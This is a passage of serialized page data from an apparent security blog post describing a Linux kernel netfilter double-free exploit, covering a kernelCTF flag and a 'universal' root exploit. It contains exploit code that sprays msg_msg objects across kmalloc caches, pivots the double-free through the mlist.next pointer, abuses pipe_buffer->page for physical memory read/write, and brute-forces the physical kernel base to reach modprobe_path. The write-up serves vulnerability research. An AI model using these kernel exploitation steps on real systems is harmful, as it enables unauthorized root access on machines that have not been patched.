0x66];\n",{"type":25,"tag":201,"props":58337,"children":58338},{"class":203,"line":563},[58339],{"type":25,"tag":201,"props":58340,"children":58341},{"emptyLinePlaceholder":17},[58342],{"type":31,"value":496},{"type":25,"tag":201,"props":58344,"children":58345},{"class":203,"line":572},[58346],{"type":25,"tag":201,"props":58347,"children":58348},{"style":4497},[58349],{"type":31,"value":58350},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":25,"tag":201,"props":58352,"children":58353},{"class":203,"line":590},[58354,58358,58362,58366,58370,58374,58378,58382,58386,58390],{"type":25,"tag":201,"props":58355,"children":58356},{"style":246},[58357],{"type":31,"value":57248},{"type":25,"tag":201,"props":58359,"children":58360},{"style":220},[58361],{"type":31,"value":57763},{"type":25,"tag":201,"props":58363,"children":58364},{"style":261},[58365],{"type":31,"value":52347},{"type":25,"tag":201,"props":58367,"children":58368},{"style":220},[58369],{"type":31,"value":10169},{"type":25,"tag":201,"props":58371,"children":58372},{"style":261},[58373],{"type":31,"value":1383},{"type":25,"tag":201,"props":58375,"children":58376},{"style":220},[58377],{"type":31,"value":57269},{"type":25,"tag":201,"props":58379,"children":58380},{"style":261},[58381],{"type":31,"value":5886},{"type":25,"tag":201,"props":58383,"children":58384},{"style":426},[58385],{"type":31,"value":58226},{"type":25,"tag":201,"props":58387,"children":58388},{"style":220},[58389],{"type":31,"value":50151},{"type":25,"tag":201,"props":58391,"children":58392},{"style":4497},[58393],{"type":31,"value":58235},{"type":25,"tag":201,"props":58395,"children":58396},{"class":203,"line":608},[58397,58401,58405,58409,58413,58417,58421,58425],{"type":25,"tag":201,"props":58398,"children":58399},{"style":246},[58400],{"type":31,"value":57248},{"type":25,"tag":201,"props":58402,"children":58403},{"style":220},[58404],{"type":31,"value":57763},{"type":25,"tag":201,"props":58406,"children":58407},{"style":261},[58408],{"type":31,"value":52347},{"type":25,"tag":201,"props":58410,"children":58411},{"style":220},[58412],{"type":31,"value":10169},{"type":25,"tag":201,"props":58414,"children":58415},{"style":261},[58416],{"type":31,"value":1383},{"type":25,"tag":201,"props":58418,"children":58419},{"style":220},[58420],{"type":31,"value":57269},{"type":25,"tag":201,"props":58422,"children":58423},{"style":261},[58424],{"type":31,"value":5886},{"type":25,"tag":201,"props":58426,"children":58427},{"style":220},[58428],{"type":31,"value":58429}," INIT_NSPROXY;\n",{"type":25,"tag":201,"props":58431,"children":58432},{"class":203,"line":617},[58433,58437,58441,58445,58449,58453,58457,58461],{"type":25,"tag":201,"props":58434,"children":58435},{"style":246},[58436],{"type":31,"value":57248},{"type":25,"tag":201,"props":58438,"children":58439},{"style":220},[58440],{"type":31,"value":57763},{"type":25,"tag":201,"props":58442,"children":58443},{"style":261},[58444],{"type":31,"value":52347},{"type":25,"tag":201,"props":58446,"children":58447},{"style":220},[58448],{"type":31,"value":10169},{"type":25,"tag":201,"props":58450,"children":58451},{"style":261},[58452],{"type":31,"value":1383},{"type":25,"tag":201,"props":58454,"children":58455},{"style":220},[58456],{"type":31,"value":57269},{"type":25,"tag":201,"props":58458,"children":58459},{"style":261},[58460],{"type":31,"value":5886},{"type":25,"tag":201,"props":58462,"children":58463},{"style":220},[58464],{"type":31,"value":58465}," SWITCH_TASK_NAMESPACES;\n",{"type":25,"tag":201,"props":58467,"children":58468},{"class":203,"line":625},[58469],{"type":25,"tag":201,"props":58470,"children":58471},{"style":220},[58472],{"type":31,"value":11821},{"type":25,"tag":40,"props":58474,"children":58476},{"id":58475},"grabbing-the-kernelctf-flag",[58477],{"type":31,"value":58478},"Grabbing the kernelCTF flag",{"type":25,"tag":34,"props":58480,"children":58481},{},[58482,58486,58488,58495],{"type":25,"tag":127,"props":58483,"children":58485},{"alt":51656,"src":58484},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":31,"value":58487},"\nYou can find the kernelCTF exploit in our ",{"type":25,"tag":71,"props":58489,"children":58492},{"href":58490,"rel":58491},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[75],[58493],{"type":31,"value":58494},"GitHub",{"type":31,"value":80},{"type":25,"tag":26,"props":58497,"children":58499},{"id":58498},"universal-exploit",[58500],{"type":31,"value":58501},"Universal exploit",{"type":25,"tag":34,"props":58503,"children":58504},{},[58505],{"type":31,"value":58506},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":25,"tag":40,"props":58508,"children":58510},{"id":58509},"pivot-capability-using-msg_msg-mlistnext-pointer",[58511],{"type":31,"value":58512},"Pivot capability using msg_msg->mlist.next pointer",{"type":25,"tag":34,"props":58514,"children":58515},{},[58516,58518,58524,58526,58531,58533,58539],{"type":31,"value":58517},"Using the double-free vulnerability we can overlap a ",{"type":25,"tag":115,"props":58519,"children":58521},{"className":58520},[],[58522],{"type":31,"value":58523},"msg_msg",{"type":31,"value":58525}," object with with ",{"type":25,"tag":115,"props":58527,"children":58529},{"className":58528},[],[58530],{"type":31,"value":56177},{"type":31,"value":58532}," and control the ",{"type":25,"tag":115,"props":58534,"children":58536},{"className":58535},[],[58537],{"type":31,"value":58538},"m_list.next",{"type":31,"value":58540}," pointer.",{"type":25,"tag":191,"props":58542,"children":58544},{"className":30593,"code":58543,"language":30595,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[58545],{"type":25,"tag":115,"props":58546,"children":58547},{"__ignoreMap":7},[58548,58556,58572,58593,58606,58624,58649,58665,58673,58680,58687,58695,58727],{"type":25,"tag":201,"props":58549,"children":58550},{"class":203,"line":204},[58551],{"type":25,"tag":201,"props":58552,"children":58553},{"style":4497},[58554],{"type":31,"value":58555},"/* one msg_msg structure for each message */\n",{"type":25,"tag":201,"props":58557,"children":58558},{"class":203,"line":226},[58559,58563,58568],{"type":25,"tag":201,"props":58560,"children":58561},{"style":208},[58562],{"type":31,"value":10905},{"type":25,"tag":201,"props":58564,"children":58565},{"style":4925},[58566],{"type":31,"value":58567}," msg_msg",{"type":25,"tag":201,"props":58569,"children":58570},{"style":220},[58571],{"type":31,"value":327},{"type":25,"tag":201,"props":58573,"children":58574},{"class":203,"line":278},[58575,58579,58584,58589],{"type":25,"tag":201,"props":58576,"children":58577},{"style":208},[58578],{"type":31,"value":22646},{"type":25,"tag":201,"props":58580,"children":58581},{"style":4925},[58582],{"type":31,"value":58583}," list_head",{"type":25,"tag":201,"props":58585,"children":58586},{"style":246},[58587],{"type":31,"value":58588}," m_list",{"type":25,"tag":201,"props":58590,"children":58591},{"style":220},[58592],{"type":31,"value":461},{"type":25,"tag":201,"props":58594,"children":58595},{"class":203,"line":311},[58596,58601],{"type":25,"tag":201,"props":58597,"children":58598},{"style":208},[58599],{"type":31,"value":58600}," long",{"type":25,"tag":201,"props":58602,"children":58603},{"style":220},[58604],{"type":31,"value":58605}," m_type;\n",{"type":25,"tag":201,"props":58607,"children":58608},{"class":203,"line":330},[58609,58614,58619],{"type":25,"tag":201,"props":58610,"children":58611},{"style":208},[58612],{"type":31,"value":58613}," size_t",{"type":25,"tag":201,"props":58615,"children":58616},{"style":220},[58617],{"type":31,"value":58618}," m_ts;",{"type":25,"tag":201,"props":58620,"children":58621},{"style":4497},[58622],{"type":31,"value":58623},"  /* message text size */\n",{"type":25,"tag":201,"props":58625,"children":58626},{"class":203,"line":397},[58627,58631,58636,58640,58645],{"type":25,"tag":201,"props":58628,"children":58629},{"style":208},[58630],{"type":31,"value":22646},{"type":25,"tag":201,"props":58632,"children":58633},{"style":4925},[58634],{"type":31,"value":58635}," msg_msgseg",{"type":25,"tag":201,"props":58637,"children":58638},{"style":208},[58639],{"type":31,"value":11319},{"type":25,"tag":201,"props":58641,"children":58642},{"style":246},[58643],{"type":31,"value":58644},"next",{"type":25,"tag":201,"props":58646,"children":58647},{"style":220},[58648],{"type":31,"value":461},{"type":25,"tag":201,"props":58650,"children":58651},{"class":203,"line":437},[58652,58656,58660],{"type":25,"tag":201,"props":58653,"children":58654},{"style":208},[58655],{"type":31,"value":52127},{"type":25,"tag":201,"props":58657,"children":58658},{"style":261},[58659],{"type":31,"value":11319},{"type":25,"tag":201,"props":58661,"children":58662},{"style":220},[58663],{"type":31,"value":58664},"security;\n",{"type":25,"tag":201,"props":58666,"children":58667},{"class":203,"line":464},[58668],{"type":25,"tag":201,"props":58669,"children":58670},{"style":4497},[58671],{"type":31,"value":58672}," /* the actual message follows immediately */\n",{"type":25,"tag":201,"props":58674,"children":58675},{"class":203,"line":490},[58676],{"type":25,"tag":201,"props":58677,"children":58678},{"style":220},[58679],{"type":31,"value":18073},{"type":25,"tag":201,"props":58681,"children":58682},{"class":203,"line":499},[58683],{"type":25,"tag":201,"props":58684,"children":58685},{"style":220},[58686],{"type":31,"value":11821},{"type":25,"tag":201,"props":58688,"children":58689},{"class":203,"line":522},[58690],{"type":25,"tag":201,"props":58691,"children":58692},{"style":220},[58693],{"type":31,"value":58694},"struct list_head {\n",{"type":25,"tag":201,"props":58696,"children":58697},{"class":203,"line":531},[58698,58702,58706,58710,58714,58718,58722],{"type":25,"tag":201,"props":58699,"children":58700},{"style":208},[58701],{"type":31,"value":22646},{"type":25,"tag":201,"props":58703,"children":58704},{"style":4925},[58705],{"type":31,"value":58583},{"type":25,"tag":201,"props":58707,"children":58708},{"style":208},[58709],{"type":31,"value":11319},{"type":25,"tag":201,"props":58711,"children":58712},{"style":246},[58713],{"type":31,"value":58644},{"type":25,"tag":201,"props":58715,"children":58716},{"style":220},[58717],{"type":31,"value":919},{"type":25,"tag":201,"props":58719,"children":58720},{"style":261},[58721],{"type":31,"value":6077},{"type":25,"tag":201,"props":58723,"children":58724},{"style":220},[58725],{"type":31,"value":58726},"prev;\n",{"type":25,"tag":201,"props":58728,"children":58729},{"class":203,"line":550},[58730],{"type":25,"tag":201,"props":58731,"children":58732},{"style":220},[58733],{"type":31,"value":18073},{"type":25,"tag":34,"props":58735,"children":58736},{},[58737,58739,58745,58747,58752],{"type":31,"value":58738},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":25,"tag":115,"props":58740,"children":58742},{"className":58741},[],[58743],{"type":31,"value":58744},"mlist.next",{"type":31,"value":58746}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":25,"tag":115,"props":58748,"children":58750},{"className":58749},[],[58751],{"type":31,"value":58523},{"type":31,"value":58753}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":25,"tag":34,"props":58755,"children":58756},{},[58757,58759,58764,58766],{"type":31,"value":58758},"By incrementing the next pointer of our controllable ",{"type":25,"tag":115,"props":58760,"children":58762},{"className":58761},[],[58763],{"type":31,"value":58523},{"type":31,"value":58765}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":25,"tag":127,"props":58767,"children":58769},{"alt":51656,"src":58768},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":25,"tag":191,"props":58771,"children":58773},{"className":30593,"code":58772,"language":30595,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[58774],{"type":25,"tag":115,"props":58775,"children":58776},{"__ignoreMap":7},[58777,58784,58792,58818,58835,58883,58890,58930,58962,58969,58990,58997,59044,59108,59134,59180,59204,59248,59255,59263,59299,59323,59330,59350,59357],{"type":25,"tag":201,"props":58778,"children":58779},{"class":203,"line":204},[58780],{"type":25,"tag":201,"props":58781,"children":58782},{"style":220},[58783],{"type":31,"value":11821},{"type":25,"tag":201,"props":58785,"children":58786},{"class":203,"line":226},[58787],{"type":25,"tag":201,"props":58788,"children":58789},{"style":220},[58790],{"type":31,"value":58791},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":25,"tag":201,"props":58793,"children":58794},{"class":203,"line":278},[58795,58800,58804,58808,58813],{"type":25,"tag":201,"props":58796,"children":58797},{"style":220},[58798],{"type":31,"value":58799},"    msg_t *msg = calloc(1, ",{"type":25,"tag":201,"props":58801,"children":58802},{"style":4925},[58803],{"type":31,"value":56406},{"type":25,"tag":201,"props":58805,"children":58806},{"style":220},[58807],{"type":31,"value":298},{"type":25,"tag":201,"props":58809,"children":58810},{"style":4925},[58811],{"type":31,"value":58812},"msg_t",{"type":25,"tag":201,"props":58814,"children":58815},{"style":220},[58816],{"type":31,"value":58817},") + 0xe8 - 48);\n",{"type":25,"tag":201,"props":58819,"children":58820},{"class":203,"line":311},[58821,58825,58830],{"type":25,"tag":201,"props":58822,"children":58823},{"style":208},[58824],{"type":31,"value":20576},{"type":25,"tag":201,"props":58826,"children":58827},{"style":246},[58828],{"type":31,"value":58829}," qid",{"type":25,"tag":201,"props":58831,"children":58832},{"style":220},[58833],{"type":31,"value":58834},"[SPRAY];\n",{"type":25,"tag":201,"props":58836,"children":58837},{"class":203,"line":330},[58838,58842,58846,58850,58854,58858,58862,58866,58870,58875,58879],{"type":25,"tag":201,"props":58839,"children":58840},{"style":230},[58841],{"type":31,"value":4539},{"type":25,"tag":201,"props":58843,"children":58844},{"style":220},[58845],{"type":31,"value":238},{"type":25,"tag":201,"props":58847,"children":58848},{"style":208},[58849],{"type":31,"value":20546},{"type":25,"tag":201,"props":58851,"children":58852},{"style":220},[58853],{"type":31,"value":55622},{"type":25,"tag":201,"props":58855,"children":58856},{"style":261},[58857],{"type":31,"value":1383},{"type":25,"tag":201,"props":58859,"children":58860},{"style":426},[58861],{"type":31,"value":4554},{"type":25,"tag":201,"props":58863,"children":58864},{"style":220},[58865],{"type":31,"value":52311},{"type":25,"tag":201,"props":58867,"children":58868},{"style":261},[58869],{"type":31,"value":1298},{"type":25,"tag":201,"props":58871,"children":58872},{"style":220},[58873],{"type":31,"value":58874}," SPRAY; i",{"type":25,"tag":201,"props":58876,"children":58877},{"style":261},[58878],{"type":31,"value":52347},{"type":25,"tag":201,"props":58880,"children":58881},{"style":220},[58882],{"type":31,"value":4666},{"type":25,"tag":201,"props":58884,"children":58885},{"class":203,"line":397},[58886],{"type":25,"tag":201,"props":58887,"children":58888},{"style":220},[58889],{"type":31,"value":30670},{"type":25,"tag":201,"props":58891,"children":58892},{"class":203,"line":437},[58893,58898,58902,58906,58911,58916,58921,58925],{"type":25,"tag":201,"props":58894,"children":58895},{"style":246},[58896],{"type":31,"value":58897},"        qid",{"type":25,"tag":201,"props":58899,"children":58900},{"style":220},[58901],{"type":31,"value":55674},{"type":25,"tag":201,"props":58903,"children":58904},{"style":261},[58905],{"type":31,"value":1383},{"type":25,"tag":201,"props":58907,"children":58908},{"style":214},[58909],{"type":31,"value":58910}," msgget",{"type":25,"tag":201,"props":58912,"children":58913},{"style":220},[58914],{"type":31,"value":58915},"(IPC_PRIVATE, ",{"type":25,"tag":201,"props":58917,"children":58918},{"style":426},[58919],{"type":31,"value":58920},"0666",{"type":25,"tag":201,"props":58922,"children":58923},{"style":261},[58924],{"type":31,"value":5774},{"type":25,"tag":201,"props":58926,"children":58927},{"style":220},[58928],{"type":31,"value":58929}," IPC_CREAT);\n",{"type":25,"tag":201,"props":58931,"children":58932},{"class":203,"line":464},[58933,58937,58941,58946,58950,58954,58958],{"type":25,"tag":201,"props":58934,"children":58935},{"style":230},[58936],{"type":31,"value":4779},{"type":25,"tag":201,"props":58938,"children":58939},{"style":220},[58940],{"type":31,"value":238},{"type":25,"tag":201,"props":58942,"children":58943},{"style":246},[58944],{"type":31,"value":58945},"qid",{"type":25,"tag":201,"props":58947,"children":58948},{"style":220},[58949],{"type":31,"value":55674},{"type":25,"tag":201,"props":58951,"children":58952},{"style":261},[58953],{"type":31,"value":1298},{"type":25,"tag":201,"props":58955,"children":58956},{"style":426},[58957],{"type":31,"value":4554},{"type":25,"tag":201,"props":58959,"children":58960},{"style":220},[58961],{"type":31,"value":4666},{"type":25,"tag":201,"props":58963,"children":58964},{"class":203,"line":490},[58965],{"type":25,"tag":201,"props":58966,"children":58967},{"style":220},[58968],{"type":31,"value":528},{"type":25,"tag":201,"props":58970,"children":58971},{"class":203,"line":499},[58972,58977,58981,58986],{"type":25,"tag":201,"props":58973,"children":58974},{"style":214},[58975],{"type":31,"value":58976},"            perror",{"type":25,"tag":201,"props":58978,"children":58979},{"style":220},[58980],{"type":31,"value":298},{"type":25,"tag":201,"props":58982,"children":58983},{"style":267},[58984],{"type":31,"value":58985},"\"[-] msgget\"",{"type":25,"tag":201,"props":58987,"children":58988},{"style":220},[58989],{"type":31,"value":308},{"type":25,"tag":201,"props":58991,"children":58992},{"class":203,"line":522},[58993],{"type":25,"tag":201,"props":58994,"children":58995},{"style":220},[58996],{"type":31,"value":4853},{"type":25,"tag":201,"props":58998,"children":58999},{"class":203,"line":531},[59000,59004,59008,59013,59017,59021,59026,59030,59035,59039],{"type":25,"tag":201,"props":59001,"children":59002},{"style":261},[59003],{"type":31,"value":9260},{"type":25,"tag":201,"props":59005,"children":59006},{"style":220},[59007],{"type":31,"value":298},{"type":25,"tag":201,"props":59009,"children":59010},{"style":208},[59011],{"type":31,"value":59012},"uint32_t",{"type":25,"tag":201,"props":59014,"children":59015},{"style":261},[59016],{"type":31,"value":11319},{"type":25,"tag":201,"props":59018,"children":59019},{"style":220},[59020],{"type":31,"value":3073},{"type":25,"tag":201,"props":59022,"children":59023},{"style":246},[59024],{"type":31,"value":59025},"msg",{"type":25,"tag":201,"props":59027,"children":59028},{"style":220},[59029],{"type":31,"value":15259},{"type":25,"tag":201,"props":59031,"children":59032},{"style":246},[59033],{"type":31,"value":59034},"mtext",{"type":25,"tag":201,"props":59036,"children":59037},{"style":261},[59038],{"type":31,"value":413},{"type":25,"tag":201,"props":59040,"children":59041},{"style":220},[59042],{"type":31,"value":59043}," i;\n",{"type":25,"tag":201,"props":59045,"children":59046},{"class":203,"line":550},[59047,59051,59055,59059,59063,59067,59071,59075,59079,59083,59087,59091,59095,59099,59104],{"type":25,"tag":201,"props":59048,"children":59049},{"style":261},[59050],{"type":31,"value":9260},{"type":25,"tag":201,"props":59052,"children":59053},{"style":220},[59054],{"type":31,"value":298},{"type":25,"tag":201,"props":59056,"children":59057},{"style":208},[59058],{"type":31,"value":56713},{"type":25,"tag":201,"props":59060,"children":59061},{"style":261},[59062],{"type":31,"value":11319},{"type":25,"tag":201,"props":59064,"children":59065},{"style":220},[59066],{"type":31,"value":3073},{"type":25,"tag":201,"props":59068,"children":59069},{"style":261},[59070],{"type":31,"value":4615},{"type":25,"tag":201,"props":59072,"children":59073},{"style":246},[59074],{"type":31,"value":59025},{"type":25,"tag":201,"props":59076,"children":59077},{"style":220},[59078],{"type":31,"value":15259},{"type":25,"tag":201,"props":59080,"children":59081},{"style":246},[59082],{"type":31,"value":59034},{"type":25,"tag":201,"props":59084,"children":59085},{"style":220},[59086],{"type":31,"value":423},{"type":25,"tag":201,"props":59088,"children":59089},{"style":426},[59090],{"type":31,"value":5579},{"type":25,"tag":201,"props":59092,"children":59093},{"style":220},[59094],{"type":31,"value":10169},{"type":25,"tag":201,"props":59096,"children":59097},{"style":261},[59098],{"type":31,"value":1383},{"type":25,"tag":201,"props":59100,"children":59101},{"style":426},[59102],{"type":31,"value":59103}," 0xdeadbeefcafebabe",{"type":25,"tag":201,"props":59105,"children":59106},{"style":220},[59107],{"type":31,"value":461},{"type":25,"tag":201,"props":59109,"children":59110},{"class":203,"line":563},[59111,59116,59120,59125,59129],{"type":25,"tag":201,"props":59112,"children":59113},{"style":246},[59114],{"type":31,"value":59115},"        msg",{"type":25,"tag":201,"props":59117,"children":59118},{"style":220},[59119],{"type":31,"value":15259},{"type":25,"tag":201,"props":59121,"children":59122},{"style":246},[59123],{"type":31,"value":59124},"mtype",{"type":25,"tag":201,"props":59126,"children":59127},{"style":261},[59128],{"type":31,"value":413},{"type":25,"tag":201,"props":59130,"children":59131},{"style":220},[59132],{"type":31,"value":59133}," MTYPE_PRIMARY;\n",{"type":25,"tag":201,"props":59135,"children":59136},{"class":203,"line":572},[59137,59142,59146,59150,59155,59159,59163,59168,59172,59176],{"type":25,"tag":201,"props":59138,"children":59139},{"style":214},[59140],{"type":31,"value":59141},"        msgsnd",{"type":25,"tag":201,"props":59143,"children":59144},{"style":220},[59145],{"type":31,"value":298},{"type":25,"tag":201,"props":59147,"children":59148},{"style":246},[59149],{"type":31,"value":58945},{"type":25,"tag":201,"props":59151,"children":59152},{"style":220},[59153],{"type":31,"value":59154},"[i], msg, ",{"type":25,"tag":201,"props":59156,"children":59157},{"style":426},[59158],{"type":31,"value":57050},{"type":25,"tag":201,"props":59160,"children":59161},{"style":261},[59162],{"type":31,"value":52333},{"type":25,"tag":201,"props":59164,"children":59165},{"style":426},[59166],{"type":31,"value":59167}," 48",{"type":25,"tag":201,"props":59169,"children":59170},{"style":220},[59171],{"type":31,"value":919},{"type":25,"tag":201,"props":59173,"children":59174},{"style":426},[59175],{"type":31,"value":429},{"type":25,"tag":201,"props":59177,"children":59178},{"style":220},[59179],{"type":31,"value":308},{"type":25,"tag":201,"props":59181,"children":59182},{"class":203,"line":590},[59183,59187,59191,59195,59199],{"type":25,"tag":201,"props":59184,"children":59185},{"style":246},[59186],{"type":31,"value":59115},{"type":25,"tag":201,"props":59188,"children":59189},{"style":220},[59190],{"type":31,"value":15259},{"type":25,"tag":201,"props":59192,"children":59193},{"style":246},[59194],{"type":31,"value":59124},{"type":25,"tag":201,"props":59196,"children":59197},{"style":261},[59198],{"type":31,"value":413},{"type":25,"tag":201,"props":59200,"children":59201},{"style":220},[59202],{"type":31,"value":59203}," MTYPE_SECONDARY;\n",{"type":25,"tag":201,"props":59205,"children":59206},{"class":203,"line":608},[59207,59211,59215,59219,59223,59228,59232,59236,59240,59244],{"type":25,"tag":201,"props":59208,"children":59209},{"style":214},[59210],{"type":31,"value":59141},{"type":25,"tag":201,"props":59212,"children":59213},{"style":220},[59214],{"type":31,"value":298},{"type":25,"tag":201,"props":59216,"children":59217},{"style":246},[59218],{"type":31,"value":58945},{"type":25,"tag":201,"props":59220,"children":59221},{"style":220},[59222],{"type":31,"value":59154},{"type":25,"tag":201,"props":59224,"children":59225},{"style":426},[59226],{"type":31,"value":59227},"1024",{"type":25,"tag":201,"props":59229,"children":59230},{"style":261},[59231],{"type":31,"value":52333},{"type":25,"tag":201,"props":59233,"children":59234},{"style":426},[59235],{"type":31,"value":59167},{"type":25,"tag":201,"props":59237,"children":59238},{"style":220},[59239],{"type":31,"value":919},{"type":25,"tag":201,"props":59241,"children":59242},{"style":426},[59243],{"type":31,"value":429},{"type":25,"tag":201,"props":59245,"children":59246},{"style":220},[59247],{"type":31,"value":308},{"type":25,"tag":201,"props":59249,"children":59250},{"class":203,"line":617},[59251],{"type":25,"tag":201,"props":59252,"children":59253},{"style":220},[59254],{"type":31,"value":4861},{"type":25,"tag":201,"props":59256,"children":59257},{"class":203,"line":625},[59258],{"type":25,"tag":201,"props":59259,"children":59260},{"style":4497},[59261],{"type":31,"value":59262},"    // Prepare evil msg\n",{"type":25,"tag":201,"props":59264,"children":59265},{"class":203,"line":642},[59266,59270,59275,59279,59283,59287,59291,59295],{"type":25,"tag":201,"props":59267,"children":59268},{"style":208},[59269],{"type":31,"value":20576},{"type":25,"tag":201,"props":59271,"children":59272},{"style":220},[59273],{"type":31,"value":59274}," evilqid ",{"type":25,"tag":201,"props":59276,"children":59277},{"style":261},[59278],{"type":31,"value":1383},{"type":25,"tag":201,"props":59280,"children":59281},{"style":214},[59282],{"type":31,"value":58910},{"type":25,"tag":201,"props":59284,"children":59285},{"style":220},[59286],{"type":31,"value":58915},{"type":25,"tag":201,"props":59288,"children":59289},{"style":426},[59290],{"type":31,"value":58920},{"type":25,"tag":201,"props":59292,"children":59293},{"style":261},[59294],{"type":31,"value":5774},{"type":25,"tag":201,"props":59296,"children":59297},{"style":220},[59298],{"type":31,"value":58929},{"type":25,"tag":201,"props":59300,"children":59301},{"class":203,"line":659},[59302,59306,59311,59315,59319],{"type":25,"tag":201,"props":59303,"children":59304},{"style":230},[59305],{"type":31,"value":13781},{"type":25,"tag":201,"props":59307,"children":59308},{"style":220},[59309],{"type":31,"value":59310}," (evilqid ",{"type":25,"tag":201,"props":59312,"children":59313},{"style":261},[59314],{"type":31,"value":1298},{"type":25,"tag":201,"props":59316,"children":59317},{"style":426},[59318],{"type":31,"value":4554},{"type":25,"tag":201,"props":59320,"children":59321},{"style":220},[59322],{"type":31,"value":4666},{"type":25,"tag":201,"props":59324,"children":59325},{"class":203,"line":667},[59326],{"type":25,"tag":201,"props":59327,"children":59328},{"style":220},[59329],{"type":31,"value":30670},{"type":25,"tag":201,"props":59331,"children":59332},{"class":203,"line":676},[59333,59338,59342,59346],{"type":25,"tag":201,"props":59334,"children":59335},{"style":214},[59336],{"type":31,"value":59337},"        perror",{"type":25,"tag":201,"props":59339,"children":59340},{"style":220},[59341],{"type":31,"value":298},{"type":25,"tag":201,"props":59343,"children":59344},{"style":267},[59345],{"type":31,"value":58985},{"type":25,"tag":201,"props":59347,"children":59348},{"style":220},[59349],{"type":31,"value":308},{"type":25,"tag":201,"props":59351,"children":59352},{"class":203,"line":694},[59353],{"type":25,"tag":201,"props":59354,"children":59355},{"style":220},[59356],{"type":31,"value":4861},{"type":25,"tag":201,"props":59358,"children":59359},{"class":203,"line":707},[59360],{"type":25,"tag":201,"props":59361,"children":59362},{"style":220},[59363],{"type":31,"value":59364},"[...] // trigger double-free in kmalloc-256\n",{"type":25,"tag":40,"props":59366,"children":59368},{"id":59367},"using-pipe_buffer-page-pointer-for-physical-readwrite",[59369],{"type":31,"value":59370},"Using pipe_buffer->page pointer for physical read/write",{"type":25,"tag":34,"props":59372,"children":59373},{},[59374,59376,59382,59383,59389,59390,59396,59398,59404],{"type":31,"value":59375},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":25,"tag":115,"props":59377,"children":59379},{"className":59378},[],[59380],{"type":31,"value":59381},"kmalloc-1k",{"type":31,"value":12493},{"type":25,"tag":115,"props":59384,"children":59386},{"className":59385},[],[59387],{"type":31,"value":59388},"overlap pipe_buffer",{"type":31,"value":22999},{"type":25,"tag":115,"props":59391,"children":59393},{"className":59392},[],[59394],{"type":31,"value":59395},"skbuf",{"type":31,"value":59397}," data to control the ",{"type":25,"tag":115,"props":59399,"children":59401},{"className":59400},[],[59402],{"type":31,"value":59403},"page",{"type":31,"value":59405}," field.",{"type":25,"tag":34,"props":59407,"children":59408},{},[59409,59410,59415,59417,59423,59425],{"type":31,"value":18109},{"type":25,"tag":115,"props":59411,"children":59413},{"className":59412},[],[59414],{"type":31,"value":59403},{"type":31,"value":59416}," field is a pointer into ",{"type":25,"tag":115,"props":59418,"children":59420},{"className":59419},[],[59421],{"type":31,"value":59422},"vmemmap_base",{"type":31,"value":59424},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":25,"tag":127,"props":59426,"children":59428},{"alt":51656,"src":59427},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":25,"tag":34,"props":59430,"children":59431},{},[59432,59434,59439],{"type":31,"value":59433},"This now allows us to navigate the ",{"type":25,"tag":115,"props":59435,"children":59437},{"className":59436},[],[59438],{"type":31,"value":59422},{"type":31,"value":59440}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":25,"tag":40,"props":59442,"children":59444},{"id":59443},"bruteforce-physical-kernel-base",[59445],{"type":31,"value":59446},"Bruteforce physical kernel base",{"type":25,"tag":34,"props":59448,"children":59449},{},[59450,59452,59458,59460,59465,59467,59473],{"type":31,"value":59451},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":25,"tag":115,"props":59453,"children":59455},{"className":59454},[],[59456],{"type":31,"value":59457},"modprobe_path",{"type":31,"value":59459},". Keep in mind that simply searching page by page from the start of ",{"type":25,"tag":115,"props":59461,"children":59463},{"className":59462},[],[59464],{"type":31,"value":59422},{"type":31,"value":59466}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":25,"tag":115,"props":59468,"children":59470},{"className":59469},[],[59471],{"type":31,"value":59472},"PHYSICAL_ALIGN",{"type":31,"value":59474}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":25,"tag":191,"props":59476,"children":59478},{"className":30593,"code":59477,"language":30595,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    